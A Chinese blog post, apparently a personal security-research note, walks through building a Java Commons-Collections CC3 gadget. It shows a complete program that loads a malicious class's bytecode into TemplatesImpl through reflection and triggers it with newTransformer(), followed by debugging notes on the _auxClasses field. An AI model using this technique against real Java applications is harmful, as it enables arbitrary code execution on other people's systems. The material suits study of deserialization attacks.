一个搞笑的铸币CC3

今天没事想自己写个CC3类加载

结果为了顺利触发到TemplatesImpl#getTransletInstance的newInstance给我整急眼了,使劲改字段强行通过循环

刚才判定了,_auxClasses为transient,不能用这种方法

结果搞了个下面的代码出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Properties;

public class CC3TemplatesImpl {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "CC6TiedMapEntry");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
} else if (field.getName().equals("_outputProperties")) {
field.set(templatesClass, new Properties());
} else if (field.getName().equals("_transletIndex")) {
field.set(templatesClass, 0);
} else if (field.getName().equals("_auxClasses")) {
field.set(templatesClass, new HashMap<>());
}
}
templatesClass.newTransformer();
}
}

你别说,还真TM能跑。说一下怎么搞的
调试的时候bytecode数组只有一个恶意类,就创建不了hashMap,后面就put不进去。
于是我bytecode传了两个恶意数组

1
field.set(templatesClass, new byte[][]{code,code});

结果进第二个catch,hashMap不能重复put
我又传了个空字节,我去,空字节不能defineClass,连循环都出不了

1
field.set(templatesClass, new byte[][]{code,new byte[0]});

突然想到,我自己搞个hashMap就完了,用他的干毛啊
于是

1
2
3
else if (field.getName().equals("_auxClasses")) {
field.set(templatesClass, new HashMap<>());
}

感觉像个大铸币写的

上一篇:
基于类加载的多路径TemplatesImpl CC3
下一篇:
java类加载及双亲委派机制